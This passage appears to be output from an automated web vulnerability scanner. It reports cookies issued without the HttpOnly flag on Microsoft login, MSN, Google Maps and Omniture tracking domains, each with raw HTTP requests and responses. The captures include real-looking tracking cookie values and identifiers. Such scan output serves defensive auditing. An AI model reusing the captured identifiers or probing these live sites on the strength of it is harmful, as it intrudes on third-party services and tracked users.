HTTP/1.1 200 OK Connection: close Date: Tue, 01 Feb 2011 15:35:40 GMT Server: Microsoft-IIS/6.0 PPServer: PPV: 30 H: BAYIDSLGN1F55 V: 0 Content-Type: text/html; charset=utf-8 Expires: Tue, 01 Feb 2011 15:34:40 GMT Cache-Control: no-cache Pragma: no-cache P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" X-XSS-Protection: 0 Set-Cookie: vv=900; HTTPOnly= ; domain=login.live.com;path=/ Set-Cookie: MSPRequ=lt=1296574540&co=1&id=N; path=/;version=1 Set-Cookie: MSPOK=$uuid-d45b8a78-d411-4c6c-85b3-f3727bec49d8; path=/;version=1 X-Frame-Options: deny Content-Length: 11336
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /login.srf HTTP/1.1 Host: login.live.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 01 Feb 2011 15:35:42 GMT Server: Microsoft-IIS/6.0 PPServer: PPV: 30 H: BAYIDSLGN1F53 V: 0 Content-Type: text/html; charset=utf-8 Expires: Tue, 01 Feb 2011 15:34:42 GMT Cache-Control: no-cache Pragma: no-cache P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" X-XSS-Protection: 0 Set-Cookie: vv=900; HTTPOnly= ; domain=login.live.com;path=/ Set-Cookie: MSPRequ=lt=1296574542&co=1&id=N; path=/;version=1 Set-Cookie: MSPOK=$uuid-1e5aa37a-c2ae-4da1-ac75-4375305bf99f; path=/;version=1 X-Frame-Options: deny Content-Length: 11440
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps-api-ssl.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /w/tre?ad_id=24132;evt=16926;cat1=20864;cat2=20865;rand=[CACHEBUSTER] HTTP/1.1 Host: media.fastclick.net Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: zru=1|:1294800534|; lxc=AgAAAASMFi1NACAABHVydDE3IAfgBAADMwAAluAUHwEAAA==; vt=10070:256698:477674:54816:0:1295925050:3|11008:274624:511498:54393:0:1296265712:0|; adv_ic=ByAAAABBd0NNIAYGAAFJAAC2USAHIAtAAAHwceABFwH6XeABFwE+cqAXBEMAAPxI4AEXAGTgAi8Bq17gARfgAy8AaOACFwBh4AIvAZlQ4AEvAD3gAl8AsOACLwBY4AIv4ANH4AMvAeFZ4AFHAFbgAi8A5CDbwNfgAy8BAlvgARcAUOACLwSLXAAABEEEIAACHrNAgR8g7wCpIO8AYCATQAAATeACLwDVIC8AAkAUIAACvQ0/4AAvABsgjwB2IBNAAABL4AIvAdtX4AF3AErgAhcAGuACpwBB4AIXAD/hAgcAIOACFwB54AK/AB3gAhcAxeACLwAY4AIX4QNP4AMXAWU44AGPAVzVoO8giwBk4AIXAIvA1yAXBM1PAAADQNQgAABV4AIXAUdT4AFHACbgAhcAD+ACjwAD4AIXABjgAhcB/gyhNyBfAbda4AFHANzgAhcAxuACFwDY4AIXACjgAkcAxOACFwAV4AIXAKvgAhcBeUfAXwEAAA==; lyc=AgAAAASmvURNACAAAZVaIASgAAFsS6AIIAAB3VggBKAAAwNIAAA=; pluto=517004695355|v1
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|26A41302851D26C6-4000010BE0598ACB[CE]; Expires=Sun, 31 Jan 2016 15:25:57 GMT; Domain=millenniumhotels.122.2o7.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/millenniumhotelstst/1/H.22.1/s34298913453239?AQB=1&ndh=1&t=1%2F1%2F2011%209%3A26%3A40%202%20360&ns=millenniumhotels&cdp=3&pageName=millenniumboston%3Aindex.html&g=http%3A%2F%2Fwww.millenniumhotels.com%2Fmillenniumboston%2Findex.html&r=http%3A%2F%2Fwww.google.com%2Fsearch%3Fie%3DUTF-8%26q%3Dmillenium%2Bboston%26sourceid%3Dchrome&cc=USD&ch=millenniumboston&server=www.millenniumhotels.com&events=event4&c6=flash%2010&c22=Tuesday&v22=Tuesday&c23=9%3A00AM&v23=9%3A00AM&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1036&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava(TM)%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: millenniumhotels.122.2o7.net Proxy-Connection: keep-alive Referer: http://www.millenniumhotels.com/millenniumboston/index.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]; s_vi_x7Fx7Ex7Cyx7Eux3Dx7Bux7Ex3Dcduyx7E=[CS]v4|26A0E5B58501123C-400001062000534C|4D41CB69[CE]; s_vi_kx60gx60w=[CS]v4|26A20C60051617F4-40000183C02A4478|4D4418BF[CE]
Response
HTTP/1.1 302 Found Date: Tue, 01 Feb 2011 15:25:57 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|26A41302851D26C6-4000010BE0598ACB[CE]; Expires=Sun, 31 Jan 2016 15:25:57 GMT; Domain=millenniumhotels.122.2o7.net; Path=/ Location: http://millenniumhotels.122.2o7.net/b/ss/millenniumhotelstst/1/H.22.1/s34298913453239?AQB=1&pccr=true&vidn=26A41302851D26C6-4000010BE0598ACB&&ndh=1&t=1%2F1%2F2011%209%3A26%3A40%202%20360&ns=millenniumhotels&cdp=3&pageName=millenniumboston%3Aindex.html&g=http%3A%2F%2Fwww.millenniumhotels.com%2Fmillenniumboston%2Findex.html&r=http%3A%2F%2Fwww.google.com%2Fsearch%3Fie%3DUTF-8%26q%3Dmillenium%2Bboston%26sourceid%3Dchrome&cc=USD&ch=millenniumboston&server=www.millenniumhotels.com&events=event4&c6=flash%2010&c22=Tuesday&v22=Tuesday&c23=9%3A00AM&v23=9%3A00AM&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1036&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava(TM)%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Mon, 31 Jan 2011 15:25:57 GMT Last-Modified: Wed, 02 Feb 2011 15:25:57 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www95 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi_x7Ezx7Fx7Fvx7Dx7Dzfx7Ex7Bx7Cgvx7Fx60gx60g=[CS]v4|0-0|4D48285A[CE]; Expires=Sun, 31 Jan 2016 15:35:54 GMT; Domain=.2o7.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/millenniumhotelstst/1/H.22.1/s34298913453239 HTTP/1.1 Host: millenniumhotels.122.2o7.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi_kx60gx60w=[CS]v4|26A20C60051617F4-40000183C02A4478|4D4418BF[CE]; s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi=[CS]v1|26A41302851D26C6-4000010BE0598ACB[CE]; s_vi_x7Fx7Ex7Cyx7Eux3Dx7Bux7Ex3Dcduyx7E=[CS]v4|26A0E5B58501123C-400001062000534C|4D41CB69[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE];
Response
HTTP/1.1 302 Found Date: Tue, 01 Feb 2011 15:35:54 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_x7Ezx7Fx7Fvx7Dx7Dzfx7Ex7Bx7Cgvx7Fx60gx60g=[CS]v4|0-0|4D48285A[CE]; Expires=Sun, 31 Jan 2016 15:35:54 GMT; Domain=.2o7.net; Path=/ Location: http://millenniumhotels.122.2o7.net/b/ss/millenniumhotelstst/1/H.22.1/s34298913453239?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Mon, 31 Jan 2011 15:35:54 GMT Last-Modified: Wed, 02 Feb 2011 15:35:54 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www44 Content-Length: 0 Content-Type: text/plain Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /movies/article.aspx?news=625907 HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /new-on-dvd/movies/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /paralleluniverse/5-demonic-possession-movies/story/across-the-universe/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /paralleluniverse/henry-cavill-is-superman/story/across-the-universe/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /paralleluniverse/in-praise-of-buried/story/across-the-universe/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /paralleluniverse/new-sci-fi-from-alien-ashes/story/across-the-universe/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /showtimes/showtimes.aspx HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /the-rundown/the-guard/story_5/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mapstt HTTP/1.1 Host: mt2.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mapstt HTTP/1.1 Host: mt3.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: music.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /music/article.aspx?news=626003>1=28102 HTTP/1.1 Host: music.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: my.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 15:38:07 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: CO1MPPMYREN05 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Location: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1296661087&rver=5.5.4177.0&wp=mbi&wreply=http:%2f%2fmy.msn.com%2f&lc=1033&id=254014 Set-Cookie: MC1=V=3&GUID=a084dcc2b5364191ad936bfe59f51c19; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ Cache-Control: no-cache Cache-Control: no-store, must-revalidate, max-age=0 Content-Type: text/html; charset=utf-8 Content-Length: 287
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1296661087&rver=5.5.4177.0&wp=mbi&wrep ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /RealMedia/ads/adstream_nx.ads/TRACK_Lendingtree/Retargeting_Homepage_Nonsecure@Bottom3 HTTP/1.1 Host: network.realmedia.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800pDrcAAovp; S247=399NOVvW2dQZCsJ5oXW9zK_qWmZqqKZlVqCOOX-807ztLojTU5W5ayQ; S247S=1; RMFL=011PiXH1U10EfJ|U10Eo1|U1014lt|U10166E; NXCLICK2=011PiXHRNX_!yNX_TRACK_Askcom"/Retargeting_Homepage_Nonsecure!y; SData=,D41D8CD98F00B204E9800998ECF8427E; mm247=AL1LE0AS1SE1CA5OP5DO0CR0BR0CO0MO1PE0PR0PU0SP0SU5DI1EX1OM0DY0RS1; RMFD=011PjwfWO1016Kj
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 15:43:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Set-Cookie: RMFL=011PkerqU10EfJ|U10Eo1|U1014lt|U10166E|U1016Pl; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.realmedia.com Set-Cookie: NXCLICK2=011PkerqNX_TRACK_Lendingtree/Retargeting_Homepage_Nonsecure!y!B3!16Pl!1MTwg; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.realmedia.com Location: http://imagen01.247realmedia.com/RealMedia/ads/Creatives/USNetwork/BCN2010120164_000a_LendingTree/Trans1x1.gif Content-Length: 382 Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_o1efm_qppm_iuuq=ffffffff09419e0845525d5f4f58455e445a4a423660;expires=Wed, 02-Feb-2011 07:34:34 GMT;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://imagen01.247realmedia.com/RealMedia/ads/ ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAC[CE]; Expires=Mon, 1 Feb 2016 19:21:16 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s11877967668697 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:16 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAC[CE]; Expires=Mon, 1 Feb 2016 19:21:16 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s11877967668697?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:16 GMT Last-Modified: Thu, 03 Feb 2011 19:21:16 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www1 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|26A4BD5B8507B97C-40000100200639AF[CE]; Expires=Thu, 2 Feb 2012 15:39:35 GMT; Domain=omniture.d1.sc.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s11877967668697?AQB=1&ndh=1&t=2/1/2011%209%3A40%3A27%203%20360&vmt=4B900D47&vmf=omniturecom.112.2o7.net&ce=UTF-8&ns=omniturecom&cl=31536000&pageName=Privacy%3A%202o7.net%20Explained&g=http%3A//www.omniture.com/en/privacy/2o7%3Ff%3D2o7&cc=USD&ch=Privacy&server=www.omniture.com&v0=natural_bookmark&events=event69&c1=Non-Customer&v1=Non-Customer&v3=Now%20Defined%20by%20Test%20and%20Target&v4=English&c5=Now%20Defined%20by%20Test%20and%20Target&c6=English&c14=http%3A//www.omniture.com/en/privacy/2o7%3Ff%3D2o7&v17=Data%20Not%20Available&v34=natural_bookmark&v35=http%3A//www.omniture.com/en/privacy/2o7%3Ff%3D2o7&c37=natural_bookmark&c38=natural_bookmark&v38=natural_bookmark&v43=natural_bookmark&v50=natural_bookmark&tnt=12765%3A0%3A0%2C7827%3A2%3A0%2C7827%3A2%3A0%2C7827%3A2%3A0%2C&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1036&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Proxy-Connection: keep-alive Referer: http://www.omniture.com/en/privacy/2o7?f=2o7 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 15:39:35 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|26A4BD5B8507B97C-40000100200639AF[CE]; Expires=Thu, 2 Feb 2012 15:39:35 GMT; Domain=omniture.d1.sc.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s11877967668697?AQB=1&pccr=true&vidn=26A4BD5B8507B97C-40000100200639AF&&ndh=1&t=2/1/2011%209%3A40%3A27%203%20360&vmt=4B900D47&vmf=omniturecom.112.2o7.net&ce=UTF-8&ns=omniturecom&cl=31536000&pageName=Privacy%3A%202o7.net%20Explained&g=http%3A//www.omniture.com/en/privacy/2o7%3Ff%3D2o7&cc=USD&ch=Privacy&server=www.omniture.com&v0=natural_bookmark&events=event69&c1=Non-Customer&v1=Non-Customer&v3=Now%20Defined%20by%20Test%20and%20Target&v4=English&c5=Now%20Defined%20by%20Test%20and%20Target&c6=English&c14=http%3A//www.omniture.com/en/privacy/2o7%3Ff%3D2o7&v17=Data%20Not%20Available&v34=natural_bookmark&v35=http%3A//www.omniture.com/en/privacy/2o7%3Ff%3D2o7&c37=natural_bookmark&c38=natural_bookmark&v38=natural_bookmark&v43=natural_bookmark&v50=natural_bookmark&tnt=12765%3A0%3A0%2C7827%3A2%3A0%2C7827%3A2%3A0%2C7827%3A2%3A0%2C&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1036&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 15:39:35 GMT Last-Modified: Thu, 03 Feb 2011 15:39:35 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www1 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE]; Expires=Thu, 2 Feb 2012 15:39:54 GMT; Domain=omniture.d1.sc.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s17696109912358?AQB=1&ndh=1&t=2/1/2011%209%3A40%3A46%203%20360&vmt=4B900D47&vmf=omniturecom.112.2o7.net&ce=UTF-8&ns=omniturecom&cl=31536000&pageName=Omniture%3A%20Homepage&g=http%3A//www.omniture.com/en/&cc=USD&ch=Home&server=www.omniture.com&events=event69&c1=Non-Customer&v1=Non-Customer&v3=Now%20Defined%20by%20Test%20and%20Target&v4=English&c5=Now%20Defined%20by%20Test%20and%20Target&c6=English&c14=http%3A//www.omniture.com/en/&v17=Data%20Not%20Available&v35=http%3A//www.omniture.com/en/&tnt=34252%3A179%3A0%2C34092%3A33%3A0%2C34093%3A0%3A0%2C34091%3A28%3A0%2C&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1036&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Proxy-Connection: keep-alive Referer: http://www.omniture.com/en/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 15:39:54 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE]; Expires=Thu, 2 Feb 2012 15:39:54 GMT; Domain=omniture.d1.sc.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s17696109912358?AQB=1&pccr=true&vidn=26A4BD650507A9BE-60000103A0064D41&&ndh=1&t=2/1/2011%209%3A40%3A46%203%20360&vmt=4B900D47&vmf=omniturecom.112.2o7.net&ce=UTF-8&ns=omniturecom&cl=31536000&pageName=Omniture%3A%20Homepage&g=http%3A//www.omniture.com/en/&cc=USD&ch=Home&server=www.omniture.com&events=event69&c1=Non-Customer&v1=Non-Customer&v3=Now%20Defined%20by%20Test%20and%20Target&v4=English&c5=Now%20Defined%20by%20Test%20and%20Target&c6=English&c14=http%3A//www.omniture.com/en/&v17=Data%20Not%20Available&v35=http%3A//www.omniture.com/en/&tnt=34252%3A179%3A0%2C34092%3A33%3A0%2C34093%3A0%3A0%2C34091%3A28%3A0%2C&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1036&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 15:39:54 GMT Last-Modified: Thu, 03 Feb 2011 15:39:54 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www29 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAC[CE]; Expires=Mon, 1 Feb 2016 19:21:16 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s17696109912358 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
